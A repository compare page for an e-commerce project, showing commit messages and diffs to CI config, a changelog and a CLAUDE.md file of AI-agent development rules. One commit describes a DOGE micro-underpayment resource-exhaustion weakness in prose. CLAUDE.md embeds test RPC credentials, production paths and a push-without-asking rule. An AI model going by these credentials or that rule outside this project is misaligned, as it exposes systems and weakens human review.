engineering/make_post_sell
1
0
Fork 0
Code Issues 2 Pull requests Projects Releases 2 Packages Wiki Activity Actions

Compare commits

base: engineering:master
Branches Tags
engineering:master
engineering:feature/economically-unviable-refund-emails
engineering:feature/multi-output-refunds
engineering:1.1.5
engineering:1.1.4
engineering:1.1.3
engineering:1.1.2
engineering:1.1.1
engineering:1.1.0
engineering:1.0.8
engineering:1.0.7
engineering:1.0.6
engineering:v1.0.5
engineering:v1.0.4
engineering:1.0.3
engineering:1.0.3-b
engineering:1.0.2
engineering:1.0.1
engineering:1.0.0
..
compare: engineering:feature/multi-output-refunds
Branches Tags
engineering:master
engineering:feature/economically-unviable-refund-emails
engineering:feature/multi-output-refunds
engineering:1.1.5
engineering:1.1.4
engineering:1.1.3
engineering:1.1.2
engineering:1.1.1
engineering:1.1.0
engineering:1.0.8
engineering:1.0.7
engineering:1.0.6
engineering:v1.0.5
engineering:v1.0.4
engineering:1.0.3
engineering:1.0.3-b
engineering:1.0.2
engineering:1.0.1
engineering:1.0.0

3 commits
master ... feature/mu

Author SHA1 Message Date
Russell Ballestrini
58e3e1b203 Document DOGE DOOM vulnerability discovered by walkeruin 
Walkeruin discovered a clever attack vector where micro-underpayments
(~$0.01 USD worth of DOGE) create economically unviable refund obligations
that exceed network transaction fees, causing the system to get stuck
in endless retry loops.

The vulnerability exploits the economic reality that DOGE network fees
(~0.001-0.008 DOGE) can exceed tiny refund amounts, making refunds
impossible while consuming system resources through constant retries.

Documented with:
- Attack vector analysis
- Economic threshold calculations
- Impact assessment
- Proposed mitigation strategies
- Recommended minimum refund thresholds

This represents a legitimate resource exhaustion vulnerability that
could be exploited to clog the payment processing system.
 2025-10-03 13:33:00 -04:00
Russell Ballestrini
f85cd3907c Fix SQLAlchemy initialization issue in multi-output transaction tests 
Remove spec parameter from MagicMock to avoid triggering SQLAlchemy mapper
initialization during test setup. Tests remain effective by validating actual
crypto watcher logic while mocking only the database object interfaces.
 2025-10-03 11:40:34 -04:00
Russell Ballestrini
8301e23c3f Add comprehensive tests for multi-output transaction tracking defect fix 
This adds complete test coverage for the critical fix where multi-output refund transactions
now set both refund_tx_hash AND swept_tx_hash to prevent re-sweeping already swept payments.

Key test scenarios covered:
- Multi-output refund transaction creation (XMR and DOGE)
- Shop sweep amount calculation: max(0, received_amount - refund_amount)
- Prevention of double-sweep attempts when swept_tx_hash is already set
- Same transaction hash handling for both refund and sweep monitoring
- Real-world defect scenario using actual transaction hash from logs
- Edge cases including full refunds and negative amount protection

The tests validate that the "insufficient funds" error has been resolved by ensuring
payments with existing swept_tx_hash are not swept again.
 2025-10-03 11:32:37 -04:00
290 changed files with 2067 additions and 75688 deletions
Download patch file Download diff file Expand all files Collapse all files

10
.gitignore vendored
View file

@ -3,13 +3,6 @@
vars.fish
vars.sh
# GIT_HASH is rewritten by setup.py at install time via
# `git rev-parse --short HEAD`. Tracking it just produced churn:
# every feature commit was followed by a "bump GIT_HASH to X" commit
# whose value was always one commit behind HEAD (because the new
# bump commit itself shifted HEAD again). setup.py owns this file.
make_post_sell/GIT_HASH
*.egg
*.egg-info
*.pyc
@ -20,7 +13,6 @@ coverage.xml
build/
dist/
data/
data*/
src/
.tox/
nosetests.xml
@ -38,10 +30,8 @@ test
*.dkim.key
caddy
.claude
monero-wallet-cli.log
monero-wallet-rpc.log
monero-wallet-rpc.log*

14
.gitlab-ci.yml
View file

@ -24,10 +24,7 @@ build:
- cp -pr env/static static
- tar -zcf static.tar.gz static
# Clean up the directory outside of the gitlab-runner filesystem.
# rm -rf can race with background processes on build runners — verify removal.
- rm -rf /opt/make_post_sell/env; for i in 1 2 3; do [ ! -d /opt/make_post_sell/env ] && break; sleep 2; rm -rf /opt/make_post_sell/env; done; [ ! -d /opt/make_post_sell/env ]
# Ensure bin/python symlink exists (Python 3.12 venv may only create python3).
- test -f env/bin/python || ln -sf python3 env/bin/python
- rm -rf /opt/make_post_sell/env
# Clone the virtualenv with virtualenv-clone into the desired location.
- virtualenv-clone -vvv $PWD/env /opt/make_post_sell/env
# Create a tarball of the virtualenv.
@ -65,11 +62,6 @@ pypi-twine:
- python3 -m venv twine_env
- source twine_env/bin/activate
- pip install --upgrade pip
# Pin twine <6 — newer twine auto-detects GitLab CI and refuses to
# fall back to ~/.pypirc on the runner, requiring PYPI_ID_TOKEN
# (Trusted Publishing OIDC). Until we migrate to Trusted Publishing,
# stick with the classic ~/.pypirc auth on the build runner.
- pip install "twine<6" build
- pip install twine build
- python3 -m build
- twine check dist/*
- twine upload --non-interactive dist/*
- twine upload dist/*

154
CHANGELOG.rst
View file

@ -1,154 +0,0 @@
Changelog
=========
All notable changes to this project will be documented in this file.
2026-02-09
----------
DJ Crossfade
~~~~~~~~~~~~
* 7-second audio + visual crossfade starts before current video ends
* Volume ramps down on outgoing, ramps up on incoming simultaneously
* Opacity crossfade dissolves between videos during transition
* Countdown overlay shows during crossfade with Play Now / Cancel controls
* User-initiated transitions (click related item, queue) also get visual crossfade
* Falls back to standard countdown when preloaded data isn't ready or media types differ
Footer & Links
~~~~~~~~~~~~~~
* Fixed apex domain link to use ``www.makepostsell.com`` in shop footer
* Added Source Code (GitLab) and PyPI links to shop footer
2026-02-08
----------
Watch Mode v2
~~~~~~~~~~~~~
* Continuous playback with crossfade transitions between media
* Discovery ring: deterministic content traversal precomputed per shop
* Up Next sidebar with compact rows, numbered index, and queue management
* Countdown overlay (7s) as frosted-glass bottom bar between items
* Queue system: add/remove items, reorder playback
* Autoplay toggle switch inline with Up Next heading
* Two-phase preload: fast JSON fetch, then buffer media 30s before end
* Recently-played tracking: filter items from Up Next for 4 hours
* Support for video, audio, and static content (PDFs, images) with auto-advance
* Sticky video on desktop scroll (offset below ribbon)
* ``watch.js`` — new standalone JS module for all watch mode logic
Pop-out Media Player
~~~~~~~~~~~~~~~~~~~~
* Draggable pop-out window with prev/next navigation
* Keyboard shortcuts and responsive controls
* Auto-advance for images/PDFs (60s timer, reset on scroll)
* ``player.js`` — new standalone JS module
* ``/random`` and ``/tv`` endpoints for media playback
Lazy Cart Creation
~~~~~~~~~~~~~~~~~~
* Anonymous session carts are now in-memory until a product is added
* Prevents bots and crawlers from creating empty cart rows in the database
* UUID stays stable across requests via session cookie
* Transient cart guard in authentication merge flow
AJAX Comments
~~~~~~~~~~~~~
* Comment form submits via fetch when JS is available
* Preserves media playback — no page reload interrupts
* Falls back to normal POST + redirect without JS
* ``comments.js`` — new standalone JS module
Email Subscriptions
~~~~~~~~~~~~~~~~~~~
* Email digest subscriptions with configurable frequency
* @mentions in comments notify mentioned users
* RSS and Atom feed autodiscovery in ``<head>``
* Subscribe link in shop nav bar
Related Content
~~~~~~~~~~~~~~~
* Jaccard similarity for related content ranking
* Related content thumbnails in sidebar
Feeds & SEO
~~~~~~~~~~~~
* Sitemap generation (``/sitemap.xml``)
* RSS (``/rss.xml``) and Atom (``/atom.xml``) feeds
* Google site verification meta tag support
* Feeds served as ``application/xml`` for browser rendering
* Feed links open in new window
Adyen Integration
~~~~~~~~~~~~~~~~~
* Added Adyen as a payment processor
* Per-shop enable/disable toggle
* See ``docs/ADYEN.md`` for details
Stripe Improvements
~~~~~~~~~~~~~~~~~~~
* Payment tracking and webhook resilience
* Per-shop Stripe enable/disable
UI & Layout
~~~~~~~~~~~
* Sticky ribbon + logo/nav on desktop scroll
* Footer pushed to bottom of viewport on short pages
* Product media uses viewport-relative sizing (``max-height: 42vh``)
* Reduced heading font sizes for tighter layout
* Product/content dates toggle (``show_dates`` shop setting)
* Inline video playback on thumbnail click (replaced pop-up)
Infrastructure
~~~~~~~~~~~~~~
* ``/version`` endpoint with baked git hash for deploy verification
* ``GIT_HASH`` tracked in repo, baked at install time
* Removed jQuery — all vanilla JavaScript
* Replaced JS toggles with pure CSS ``<details>`` elements
* Pinned ``setuptools<81`` for Python 3.12+ compatibility
2025-12-22 (2:30 PM)
--------------------
PayPal Integration
~~~~~~~~~~~~~~~~~~
* Added PayPal as a payment processor alongside Stripe and crypto payments
* New ``PayPalUserShop`` model for saved payment methods
* Invoice model extended with ``paypal_order_id`` and ``paypal_capture_id`` columns
* Shop settings now include PayPal client ID and secret configuration
* Checkout page supports PayPal payment option when enabled
* Added PayPal saved payment methods (vault) support
* Added ``/billing/disconnect-paypal`` route for users to manage saved PayPal
* See ``docs/PAYPAL.md`` for details
CSS Grid Lanes
~~~~~~~~~~~~~~
* Added toggleable CSS Grid Lanes (masonry layout) setting per shop
* New ``grid_lanes_enabled`` column on Shop model
Video Thumbnails
~~~~~~~~~~~~~~~~
* Added play button overlay on video thumbnails for unlocked content
* Styled video play overlay with red tint and click-to-play text
Meta Tags
~~~~~~~~~
* Added Twitter card meta tags for proper link unfurling on Matrix/Discord
* Increased meta description truncation to 500 chars

747
CLAUDE.md
View file

@ -1,66 +1,5 @@
# Claude Development Notes
## Production
- Application: `https://my.makepostsell.com`
- Version check: `https://my.makepostsell.com/version`
- Prod shell: `tmux-hosts` — look for `my.makepostsell.com` (typically tmux window `0:3`) — **READ-ONLY, never deploy/fix from tmux**
- Media CDN: `plan-period-files.nyc3.cdn.digitaloceanspaces.com` (DigitalOcean Spaces)
- Deploy pipeline: `git push` → GitLab CI (test → build → deploy) → `salt-call state.highstate` on prod
- Salt states: `~/git/foxhop-states/uwsgi/` — note: MPS uses `caddy_sites.sls`, NOT `sites.sls`
- Salt pillar: `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls`
- DB path on prod: `/opt/make_post_sell/make_post_sell.sqlite` (owned by `uwsgi`, need `sudo` for writes)
- Timestamps in DB are **milliseconds** not seconds (13 digits)
- uWSGI: 2 processes, 8 threads, reload-on-rss 512MB (pillar-configurable), Caddy reverse proxy on :6001
### 🚨 NEVER Operate on Production Directly
**ABSOLUTE RULE**: ALL fixes go through CI/CD and Salt. No exceptions.
- **NEVER** SSH into prod and run `ALTER TABLE`, `sqlite3`, or any direct DB command
- **NEVER** bypass the migration system — if `alembic upgrade head` fails, fix the migration and push
- **The fix is always in the code.** Push to master → CI tests → deploy (Salt highstate or CI-direct) → Alembic runs on every instance
- Restarting services via SSH is fine for recovery, but the underlying fix must still go through code + deploy
**Why this matters**: MPS runs open source on multiple servers (makepostsell.com, memopoly.com, and any operator instance). A manual fix on one server leaves every other instance broken. The migration system exists to apply changes everywhere consistently.
**When prod has a 502**: diagnose via logs (read-only SSH is fine), fix the code, push. The deploy pipeline reaches all instances. A manual fix reaches one.
### Media Architecture
Files are NEVER streamed through uwsgi. Our server only generates presigned URLs (15 min TTL). Our client's browser/JS fetches directly from our Spaces CDN:
- **Downloads**: presigned `get_object` URLs → client fetches from CDN
- **Uploads**: presigned `post` → client uploads directly to Spaces
- **Thumbnails**: public CDN URLs with `?ts=` cache busting
**BYOB (Bring Your Own Bucket)**: Shops can configure their own S3-compatible bucket (`bucket-settings` form section). When enabled, all presigned URLs and CDN references use our shop's bucket. Always use shop-aware request methods in views and templates:
- `request.shop_uploads_client` — S3 client (shop's or MPS default)
- `request.shop_bucket_name` — bucket name (shop's or MPS default)
- `request.shop_cdn_endpoint` — CDN URL (shop's or MPS default)
**NEVER** use `request.app["bucket.secure_uploads"]`, `request.app["bucket.secure_uploads.get_endpoint"]`, or `request.secure_uploads_client` directly in views or templates. These are only used internally by `request_methods.py` as fallbacks.
### Transactional Email (lib/mail.py)
All transactional mail (OTP login codes, receipts, sale/offer notifications, gift cards, invites) sends from **one warm sending identity**: `app.email.sender` (default `no-reply@origin.makepostsell.com`, overridable via `MPS_EMAIL_SENDER`) — *not* per-shop `no-reply@<shop-domain>`. The recipient-facing name is the **shop name** when in shop context, else `app.email.from_name` (default `Make Post Sell`); `lib/mail.py:format_from_header()` builds the `From:` header. Why a single identity: operator custom-domain shops (e.g. `shop.unturf.com`) have no DKIM key MPS controls and don't authorize MPS's sending IPs in SPF, so per-domain `From:` lands in spam. `origin.makepostsell.com` is DKIM-signed by opendkim on the origin box (`d=makepostsell.com`, selector `20190727`) and SPF-authorized (`v=spf1 a a:mx1.foxhop.net -all`), and outbound is relayed through `mx1.foxhop.net` (warm IP, see `foxhop-pillar/postfix/makepostsell.sls` → `postfix_relayhost`). Reply-To / per-shop contact email is still TODO — see `docs/tickets/mps-23.md`.
### Karaoke Pipeline (lib/karaoke.py)
Disk-backed vocal isolation pipeline using spectral mid-side Wiener masking
(`voxsplit.c`, zero ML deps). Streams media to unsandbox via `POST /upload`
(64KB chunks, constant memory), executes in zerotrust container, streams
response back, uploads instrumentals + vocals to S3.
Full architecture doc: `docs/karaoke-pipeline.md` (with dot diagrams).
- **Concurrency**: `ThreadPoolExecutor` sized to account's unsandbox concurrency limit
- **Memory**: ~64KB per worker at every stage (disk-backed, not in-memory)
- **Upstream limit**: 3.698GB / 3,698,742,051 bytes per file (unsandbox `@max_upload_bytes`)
- **Retries**: 3 attempts with exponential backoff (5s, 10s)
- **Callers**: `views/product.py` (upload), `views/watch.py` (on-demand), `views/shop.py` (backfill), `scripts/backfill_karaoke.py`
- **On-demand**: `POST /karaoke/{product_id}` — forks detached child, watch.js 10s refresh detects completion, auto-switches to instrumentals
- **Streaming path**: MPS → `POST /upload` → API encrypts to disk → pool pulls via `GET /internal/upload/{id}` → pipes into container `/root/input/` — zero bytes cross Erlang distribution
## Project Setup
This project uses a Makefile for most development operations. Use `make` commands instead of running tools directly.
@ -69,7 +8,7 @@ This project uses a Makefile for most development operations. Use `make` command
### Testing
- Run tests: `make test`
- This installs development dependencies and runs our test suite with py.test
- This installs development dependencies and runs the test suite with py.test
- Tests are located in `make_post_sell/tests/`
### Installation & Setup
@ -87,42 +26,6 @@ This project uses a Makefile for most development operations. Use `make` command
- Clean up environment: `make clean`
- Activate environment: `source env/bin/activate`
### Dependencies — two-file source of truth
Runtime deps live in **two** files; they are NOT redundant.
- `requirements.py3.txt` — what `setup.py` reads for `install_requires`.
Used by `pip install .` / editable dev installs. Source-of-truth for
what `make_post_sell` declares as its deps.
- `requirements-prod.lock` — hash-pinned, full transitive closure,
generated by `make pins-lock` (uv pip compile). What CI's
`install-source-prod` actually installs into `env.tar.gz` via
`pip install --require-hashes -r requirements-prod.lock`.
**Whenever you edit `requirements.py3.txt`, you MUST run `make pins-lock`
and commit the regenerated `requirements-prod.lock` in the same PR.**
If you forget: CI tests will still pass (test stage uses the unpinned
files), and the build artifact will still publish — but the artifact's
venv will be missing whatever dep you added. The deploy to prod will
silently roll out an env without the new dep. The first runtime import
of it is where the world finds out.
Pattern that has bitten us:
1. Add `erldistpy>=0.1.6` to `requirements.py3.txt`. Tests pass.
2. Forget `make pins-lock`. CI builds env.tar.gz from the stale lock.
3. Highstate ships → `pip show erldistpy` returns empty on prod →
`ModuleNotFoundError` the moment crypto_watcher reaches for it.
Same shape for any other dep — make a habit of running `make pins-lock`
after every requirements edit, before commit.
Same trap on the CLI side: if your new module imports a stdlib-adjacent
library that's not yet pinned (e.g. someone reaches for `click`
instead of `argparse`), it triggers `ModuleNotFoundError` in CI tests
because the CI runner's env doesn't carry the transitive. Match repo
convention (stdlib `argparse` for CLIs) before adding deps.
## Code Structure
### Key Directories
@ -134,20 +37,14 @@ convention (stdlib `argparse` for CLIs) before adding deps.
- `make_post_sell/views/cart.py` - Cart and checkout logic
- `development.ini` - Configuration file
### Design System Files
- `static/css/tokens.css` — Design tokens (colors, typography, spacing, shape, elevation, motion, z-index), base resets, utility classes, animations. Single source of truth. Light mode `:root`, dark mode `[data-theme="dark"]`.
- `static/css/common.css` — Component styles consuming tokens via `var(--token, fallback)`.
- `templates/styleguide.j2` — Live component reference at `/styleguide` (view: `views/misc.py:23`).
- `docs/design-system.md` — Full design system reference doc (token tables, architecture diagram, conventions).
## Testing Notes
Our project uses pytest with unittest framework. There are three types of tests:
The project uses pytest with unittest framework. There are three types of tests:
### Test Types
- **Unit tests** (`test_models.py`) - Test individual model methods and properties in isolation
- **Integration tests** (`test_integration.py`) - Test interactions between models and business logic
- **Functional tests** (`test_functional.py`) - End-to-end tests through our web interface
- **Functional tests** (`test_functional.py`) - End-to-end tests through the web interface
### Running Tests
**Before running tests**: Source environment variables with `source vars.sh` to set required Stripe API keys and other configuration.
@ -165,20 +62,18 @@ env/bin/py.test make_post_sell/tests/test_functional.py # Functional tests
env/bin/py.test --cov=make_post_sell.models.cart --cov-report=term-missing make_post_sell/tests/test_models.py::TestCart
```
### Current Coverage (712 tests)
### Current Coverage
- Cart model unit tests cover critical business logic like `requires_payment` threshold (64 cents)
- Shop environment, trial, and BYOB model properties (TestShopEnvironment, TestShopTrial, TestShopBYOB)
- Gift card model unit tests (generation, validation, transactions)
- Integration tests verify free coupon checkout, gift card flows, and multi-model interactions
- Functional tests cover cart/checkout/payment, gift card settings, environment settings, bucket settings
- Integration tests verify the original AttributeError bug fix for free coupon checkout
- Functional tests provide end-to-end coverage of cart/checkout/payment flows
## Database Location
Our SQLite database is located at: `data/make_post_sell.sqlite`
The SQLite database is located at: `data/make_post_sell.sqlite`
**CRITICAL WARNING**: NEVER delete or remove database files without explicit user permission. Our database contains production data and cannot be easily recovered. Always ask before any destructive operations.
**CRITICAL WARNING**: NEVER delete or remove database files without explicit user permission. The database contains production data and cannot be easily recovered. Always ask before any destructive operations.
**MANDATORY**: ALWAYS create a backup of our database before any database operations (migrations, schema changes, etc.):
**MANDATORY**: ALWAYS create a backup of the database before any database operations (migrations, schema changes, etc.):
```bash
cp data/make_post_sell.sqlite data/make_post_sell.sqlite.backup-$(date +%Y%m%d-%H%M%S)
```
@ -189,96 +84,10 @@ Query crypto payments:
SELECT * FROM mps_crypto_payment WHERE id = 'paymentuuidherewithoutdashes';
```
## Database Migrations
When making changes to database models, always create Alembic migrations:
### Creating Migrations
**CRITICAL**: ALWAYS use `make migration` to generate migration files. NEVER manually create migration files. NEVER hand-write or invent revision IDs. Alembic generates cryptographically unique revision IDs — a made-up ID like `a1b2c3d4e5f6` will corrupt the migration chain and break production deploys.
```bash
# The ONLY correct way to create a migration:
make migration m="description of change"
# → writes make_post_sell/scripts/alembic/versions/05be3044c2d2_description_of_change.py
# → revision ID is auto-generated (e.g. 05be3044c2d2), never invent one
# Apply pending migrations:
make migrate
# Check status:
make migration-status
```
If `make` is not available, the raw command is:
```bash
env/bin/alembic -c data/development.ini revision --autogenerate -m "description of change"
```
The generated file lives in `make_post_sell/scripts/alembic/versions/`. Edit it to add `_column_exists` / `_table_exists` guards (see idempotent pattern below), then commit it.
### Running Migrations
```bash
# Apply all pending migrations
alembic -c data/development.ini upgrade head
# Check current migration status
alembic -c data/development.ini current
# View migration history
alembic -c data/development.ini history
```
**IMPORTANT**: Always backup our database before running migrations!
### Important Migration Notes
**Idempotent Migrations**: `make init-db` creates all tables from models, so migrations that run afterward must not fail if tables/columns already exist. Always guard `create_table` with `_table_exists` and `add_column` with `_column_exists`:
```python
def _table_exists(name):
conn = op.get_bind()
result = conn.execute(
sa.text("SELECT name FROM sqlite_master WHERE type='table' AND name=:name"),
{"name": name},
)
return result.fetchone() is not None
def _column_exists(table, column):
conn = op.get_bind()
result = conn.execute(sa.text(f"PRAGMA table_info({table})"))
return any(row[1] == column for row in result.fetchall())
def upgrade():
if not _table_exists("mps_new_table"):
op.create_table(...)
if not _column_exists("mps_shop", "new_column"):
op.add_column(...)
```
**SQLite Column Defaults**: When adding NOT NULL columns with defaults to existing tables in SQLite, use `server_default` with raw SQL values:
```python
# Correct - uses server_default for raw SQL
op.add_column(
"mps_shop",
sa.Column("stripe_enabled", sa.Boolean(), nullable=False, server_default="1"),
)
# Wrong - default won't work with existing data
op.add_column(
"mps_shop",
sa.Column("stripe_enabled", sa.Boolean(), nullable=False, default=True),
)
```
## Cryptocurrency RPC Access
### Monero Wallet RPC
When investigating or manually testing Monero RPC calls, use digest authentication with these credentials (from Makefile):
When debugging or manually testing Monero RPC calls, use digest authentication with these credentials (from Makefile):
- Username: `test_user`
- Password: `test_pass`
- URL: `http://127.0.0.1:18083/json_rpc`
@ -299,545 +108,23 @@ Dogecoin uses basic authentication (from dogecoin.conf):
## Common Issues and Solutions
### UUID Objects
Always use `uuid_str` when you need a string copy of our identifier. Models inherit `uuid_str` property from `RBase`.
Always use `uuid_str` when you need a string copy of the identifier. Models inherit `uuid_str` property from `RBase`.
**IMPORTANT**: UUIDs are stored in our database WITHOUT dashes. When querying by ID, remove dashes from our UUID:
**IMPORTANT**: UUIDs are stored in the database WITHOUT dashes. When querying by ID, remove dashes from the UUID:
- Correct: `WHERE id = '0f92cd2a86f54dc1b98ef5c8b37bc7f8'`
- Wrong: `WHERE id = '0f92cd2a-86f5-4dc1-b98e-f5c8b37bc7f8'`
## Development Standards and Expectations
**CRITICAL WORK ETHIC**: Our user pays significant money for development work and expects thorough, complete solutions. NEVER try to do our minimum or cut corners. When asked to implement features, provide comprehensive, production-ready implementations that consider all aspects of our request.
**CSS LAYOUT REQUIREMENTS — GRID ONLY, NO FLEXBOX, NO EXCEPTIONS**:
This project uses CSS Grid exclusively for layout. **NEVER** write `display: flex`, `display: inline-flex`, `flex:`, `flex-direction`, `flex-wrap`, `justify-content: flex-*`, `align-items: flex-*`, or `flex-grow/shrink/basis`. There is no situation where flexbox is acceptable.
Grid equivalents for the patterns you'd reach for flex:
- **Centering content** (one item dead-center): `display: grid; place-items: center;` (or `display: inline-grid; place-items: center;` for inline-level buttons/badges).
- **Two items, one left one right** (`justify-content: space-between`): `display: grid; grid-template-columns: 1fr auto;` (left item in the `1fr` column, right item in `auto`).
- **Row of items, right-aligned**: don't make the container a grid — set `text-align: right` (or `text-align: end`) and let inline-level children flow/wrap naturally. Or `display: grid; grid-auto-flow: column; grid-auto-columns: max-content; justify-content: end;` if you don't need wrapping.
- **Vertical stack with last item pushed to bottom** (`margin-top: auto` in flex): `display: grid; align-content: space-between;` on the container (works when the container is taller than its content, e.g. inside a `align-items: stretch` parent grid).
- **Equal-height cells in a row**: parent `display: grid; grid-template-columns: repeat(auto-fit, minmax(Npx, 1fr)); align-items: stretch;`.
- **Icon + label header**: `display: grid; grid-template-columns: auto 1fr; align-items: center; gap: var(--space-N);`.
Note: `align-items`, `justify-items`, `align-content`, `justify-content`, `place-items`, `place-content`, `gap` are all **valid in grid context** — only the `flex-*` keyword values (`flex-start`, `flex-end`) and the `flex` shorthand / `flex-direction` / `flex-wrap` / `display: flex` are forbidden. Use `start`/`end`/`center`/`stretch`/`space-between` etc. as the values.
**SHAME LOG — 2026-05-11**: agent blackops shipped `display: inline-flex` on `.mps-button` and several edit-page components (`.edit-status-bar`, `.edit-save-bar`, `.upload-thumbnails-header`, `.edit-card-icon`, h3 headers, `.mps-button-primary`) across multiple commits before fox caught it. All converted to Grid. This rule is non-negotiable; re-read it before touching any CSS.
**DESIGN TOKENS**: All new styles must consume tokens from `tokens.css` — never hardcode colors, spacing, radii, shadows, or font sizes. Use `var(--token-name)` or `var(--token-name, fallback)`. Our token scale uses a 4px spacing base and major third (1.250) type scale.
**DARK-MODE TRAP — only reference vars that are REAL tokens.** A `var(--name, fallback)` where `--name` is **not** defined in `tokens.css` silently uses the light `fallback` in BOTH themes → looks fine in light, broken (light card / invisible text) in dark. This bit us repeatedly (wells, suggest cards, checksum table). The offenders were ad-hoc names like `--color-surface*`, `--color-border*`, `--color-text*`, `--text-color`, `--surface*` — none are tokens. **Use the real theme-aware tokens**: surfaces → `--surface-base` / `--surface-dim` / `--surface-container`; borders → `--border-light` / `--border-default` / `--border-color`; text → `--text-primary` / `--text-body` / `--text-muted` (all carry `:root` + `[data-theme="dark"]` values). Pre-commit grep gate (must be empty):
```
grep -oE 'var\(\s*--(color-(surface|border|text)[a-z0-9-]*|surface(-[a-z]+)?|text-color)\s*,' make_post_sell/static/css/common.css
```
**STYLEGUIDE**: When creating new UI components (buttons, wells, alerts, layout patterns, etc.), add a live example to `/styleguide` (`make_post_sell/templates/styleguide.j2`). Our styleguide is our single source of truth for our component library. If it's not in our styleguide, it doesn't exist as a pattern.
**CSS MEDIA SIZING**: Never combine `width: 100%` with `max-height` on media elements (img, video). `width: 100%` forces our element to span our full container even when `max-height` constrains our rendered content, creating dead whitespace. Use `width: auto` + `max-width: 100%` + `max-height` instead — our element shrinks to match our actual content aspect ratio within both constraints.
**MOBILE USABILITY**: Never use hover-only interactions (`:hover` to reveal controls, `opacity: 0` with hover reveal, etc.). Mobile/touch devices have no hover state — controls hidden behind hover are invisible and unreachable. All interactive elements (buttons, toggles, links) must be always visible and tappable. Design touch-first, then optionally enhance for desktop hover.
**SPA + NORMAL MODE**: Watch mode uses SPA navigation (`watch.js`) that swaps content without a full page reload. When adding or modifying links, buttons, forms, or any product-specific content on pages that participate in watch mode (content.j2, product.j2), you MUST ensure:
1. **Server-rendered HTML** works for our initial page load (normal mode, no-JS, crawlers)
2. **`updatePageContent()` in watch.js** updates our same element during SPA navigation
3. **Our watch JSON endpoint** (`watch.py`) returns any new data our JS needs
Elements that must stay in sync: CTA edit button, download button, comment form `product_id`, file type/size, description, title, canonical link, related items, comments link count. If you add a new product-specific element, add it to all three layers.
**CRITICAL WORK ETHIC**: The user pays significant money for development work and expects thorough, complete solutions. NEVER try to do the minimum or cut corners. When asked to implement features, provide comprehensive, production-ready implementations that consider all aspects of the request.
**TESTING INTEGRITY**: NEVER skip, delete, or disable unit tests or integration tests when they break. When tests fail:
1. **FIX OUR TESTS** - Update them to work with new functionality
2. **FIX OUR CODE** - If our tests reveal actual defects, fix our underlying issue
1. **FIX THE TESTS** - Update them to work with new functionality
2. **FIX THE CODE** - If the tests reveal actual bugs, fix the underlying issue
3. **ADD MORE TESTS** - Ensure new functionality is properly covered
Disabling or removing tests weakens our codebase and is unacceptable. Tests are critical safety nets that prevent regressions.
**MANDATORY TEST COVERAGE**: Every new feature, model property, view handler, or form section MUST have tests across all three layers:
- **Unit tests** (`test_models.py`) — Test new model properties, methods, and business logic in isolation using `mock.patch`. No DB required.
- **Integration tests** (`test_integration.py`) — Test interactions between models, especially multi-model workflows (e.g., cart + coupon + gift card).
- **Functional tests** (`test_functional.py`) — Test through our web interface using `webtest.TestApp`. Cover settings form POSTs, page loads, flash messages, and DB state changes.
If a feature touches all three layers (model + view + template), it needs tests in all three files. No exceptions. Untested code is incomplete code.
**AUTO-PUSH**: Commit and push when our work is done — no need to ask fox. If tests were written, they must pass first. If no tests are required (defect fix, config, docs), push immediately after committing. 🔥 == 🔥 — remove all friction.
**DO NOT bump `make_post_sell/GIT_HASH`.** The file is gitignored. `setup.py` rewrites it at install time via `git rev-parse --short HEAD`, so the deployed `/version` hash is always the real HEAD. Manually committing a bumped value just produced churn — each bump's recorded value was one commit behind the actual HEAD it was bumping toward.
## Post-Work Chores
After completing a feature or significant change, always perform these chores before considering our work done:
1. **Tests** — Write unit tests (`test_models.py`), integration tests (`test_integration.py`), and functional tests (`test_functional.py`) covering our new code paths. All three layers are required for new features.
2. **Docs** — Update `docs/architecture.md` (feature toggle matrix, ticket index, diagrams) and `docs/design-system.md` (new components/sections) to reflect our change.
3. **Portal** — Update our marketing site at `~/git/www.makepostsell.com` (feature cards in `index.html`, includes list in `pricing.html`) when a user-facing feature is added.
4. **CLAUDE.md** — Update this file if our change introduces new patterns, form sections, model columns, or conventions that future work needs to know about.
5. **Commit & push** — Per AUTO-PUSH, commit and push when done. No friction. (Do **not** bump GIT_HASH — setup.py handles it at install time.)
Disabling or removing tests weakens the codebase and is unacceptable. Tests are critical safety nets that prevent regressions.
## Commit Message Guidelines
**CRITICAL**: Do not include Claude Code attribution in commit messages. Attributing human work to Claude is inappropriate and misrepresents our actual authorship of our code. All code changes should be attributed to our human developer who reviewed, approved, and committed our work.
## Ticket Scoping — One Feature, One Ticket
**Prefer one ticket that fully scopes a feature** over splitting it into `MPS-N`, `MPS-N+1`, `MPS-N+2` phase tickets. Phases inside a single ticket are fine — they let us land work incrementally — but they live in **one document** with **one ticket number**.
Spawn a new ticket only when:
- A "next phase" is a genuinely separate feature with different goals or stakeholders
- A "next phase" is gated on something external (a vendor decision, another team's work)
- A "next phase" has uncertain priority and may never ship
**Why**: splitting one feature across `MPS-24` / `MPS-25` / `MPS-26` fragments commit history, multiplies status pages, and forces a future reader to re-stitch three documents to understand one change. One ticket, with `### Phase 1` / `### Phase 2` headings inside it, is our default. Multiple tickets is our exception, not our pattern.
When in doubt: write it as one ticket. If it grows past ~400 lines or the phases truly drift in goal, split it then — not pre-emptively.
## Capability-Driven Presentation
Follow Russell Ballestrini's capability-driven presentation practice
(russell.ballestrini.net/capability-driven-presentation/). A page need not look
identical across all browsers. Accommodate what our user's browser can do:
1. **Single canonical URI** — one URL serves our content.
2. **Consistent content** — regardless of viewer capabilities.
3. **Graceful enhancement/degradation** — use available capabilities to enhance presentation.
### Our `js-only` / `<noscript>` pattern
```html
<noscript>
<style>.js-only {display: none;}</style>
</noscript>
```
Apply our `js-only` class to any element that requires JavaScript to function.
When JS is unavailable, these elements hide automatically — our user never sees
a broken control.
### AJAX form submission
Comment forms use progressive enhancement: our form works as a normal POST +
redirect without JS. When JS is available, `comments.js` intercepts our submit,
sends via `fetch()` with `X-Requested-With: XMLHttpRequest`, and inserts our
new comment into our DOM without a page reload (preserving media playback).
Our server returns JSON (HTTP 201) for AJAX requests and falls back to our
normal redirect flow on any error.
## Static Asset Cache-Busting (MANDATORY)
**Every `<script src="/static/...">` and `<link href="/static/...">` MUST
end with `?v={{ request.git_hash }}`.** `routes.py` serves `/static` with
`cache_max_age=3600`, so an un-versioned asset is cached by the browser
for up to an hour — meaning a deploy that changes that JS/CSS is
**invisible to users for up to an hour**. This manifests as "the new
feature doesn't work / the SPA still full-reloads" even though the deploy
landed and server-side tests pass (tests have no browser cache). This was
the root cause of the entire MPS-24 tag-SPA debugging saga (5+ deploys).
